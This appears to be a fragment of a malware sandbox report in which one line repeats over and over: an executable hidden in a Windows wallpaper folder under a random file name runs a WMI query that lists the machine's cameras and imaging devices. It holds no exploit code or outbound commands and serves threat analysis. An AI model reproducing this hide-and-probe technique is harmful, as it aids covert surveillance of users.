Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
